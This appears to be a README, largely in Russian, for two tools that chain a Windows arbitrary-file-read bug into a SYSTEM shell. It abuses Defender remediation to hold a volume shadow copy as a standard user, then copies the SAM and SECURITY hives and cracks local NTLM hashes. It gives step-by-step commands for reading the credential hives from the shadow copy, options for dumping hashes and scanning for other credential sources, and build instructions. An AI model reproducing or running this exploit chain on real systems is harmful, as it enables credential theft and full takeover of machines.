
test
Два небольших инструмента, превращающие ошибку произвольного чтения файлов в Windows в SYSTEM оболочку.
vss_freeze/ — создаёт теневую копию тома от имени обычного пользователя, затем удерживает её открытой, чтобы вы успели прочитать кусты SAM/SECURITY/SYSTEM.fr2system/ — принимает скопированные кусты, дешифрует локальные NTLM-хеши офлайн и открывает SYSTEM оболочку.Вместе с любым примитивом произвольного чтения файлов, работающим от SYSTEM (или чем-то, что может читать из \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\...), это полная цепочка обычный пользователь → SYSTEM на стандартной системе Win10/Win11.
Это было извлечено из BlueHammer — исследования по злоупотреблению Win Defender, где мы обнаружили, что размещение EICAR-файла в отслеживаемом пути заставляет Defender создать теневую копию тома как часть процесса восстановления. Мы удерживали пакетную оплоку RstrtMgr.dll на пути загрузки Defender, чтобы Defender останавливался в начале восстановления, что, в свою очередь, удерживает VSS живым столько, сколько нужно.
Изначально поверх этого был этап 2 с заморозкой cldflt, но cldflt отклоняет сторонних провайдеров синхронизации на Win11 24H2 (CfRegisterSyncRoot возвращает 0x80070057). Оказалось, что достаточно просто удерживать оплоку этапа 1 — Defender остаётся на паузе, VSS живёт, API Cloud Files не нужен.
[ vss_simple_freeze.exe ] → [ your arb-read PoC ] → [ fr2system.exe ]
creates VSS as std user reads SAM/SECURITY cracks NTLM, pops SYSTEM
holds it via oplock out of the VSS path shell
vss_simple_freeze.exe --hold 120 от имени обычного пользователя. Он выведет путь к VSS, например \Device\HarddiskVolumeShadowCopy7.\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\System32\Config\SAM\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\System32\Config\SECURITYC:\Windows\Temp\fileread\SAM и C:\Windows\Temp\fileread\SECURITY.fr2system.exe. SYSTEM оболочка.Если вы хотите просто проверить, что цепочка работает от начала до конца на вашей системе, имитируйте шаг произвольного чтения с помощью административной cmd:
:: Window 1 - std user
vss_simple_freeze.exe --hold 300
:: Window 2 - admin cmd (simulating the arb-read primitive)
mkdir C:\Windows\Temp\fileread
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\Windows\System32\Config\SAM" C:\Windows\Temp\fileread\SAM
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\Windows\System32\Config\SECURITY" C:\Windows\Temp\fileread\SECURITY
:: Window 3 - std user again
fr2system.exe
(Замените 7 на то число, которое вывело vss_simple_freeze.)
vss_simple_freeze.exe [options]
--hold N Auto-release after N seconds (default: wait for Enter)
--auto Non-interactive, hold up to 600s
--publish FILE Write VSS path to FILE (default: %TEMP%\vss_current.txt)
--no-publish Don't write VSS path anywhere
--event NAME Release when named event Local\NAME is signaled
--quiet Suppress per-second liveness output
--help Show help
Examples:
vss_simple_freeze.exe # interactive, Enter to release
vss_simple_freeze.exe --hold 120 # auto-release after 2 min
vss_simple_freeze.exe --event lpe_done --hold 300 # release on signal or 5 min
fr2system.exe [options]
(none) Default - read SAM/SECURITY from C:\Windows\Temp\fileread, escalate to SYSTEM
--dump Dump NTLM hashes only, don't escalate
--scan Scan for alternative credential sources
--path DIR Use a different input directory
--help Show help
Examples:
fr2system.exe
fr2system.exe --dump
fr2system.exe --path C:\lab\hives
fr2system.exe ожидает как минимум SAM во входной директории. SECURITY опционален (используется для секретов LSA / ключей DPAPI).
Оба проекта используют MSVC (статический CRT, x64).
cd vss_freeze
build_vss_simple_freeze.bat
cd fr2system
msbuild fr2system.sln /p:Configuration=Release /p:Platform=x64
Создание VSS:

fr2system → SYSTEM оболочка:
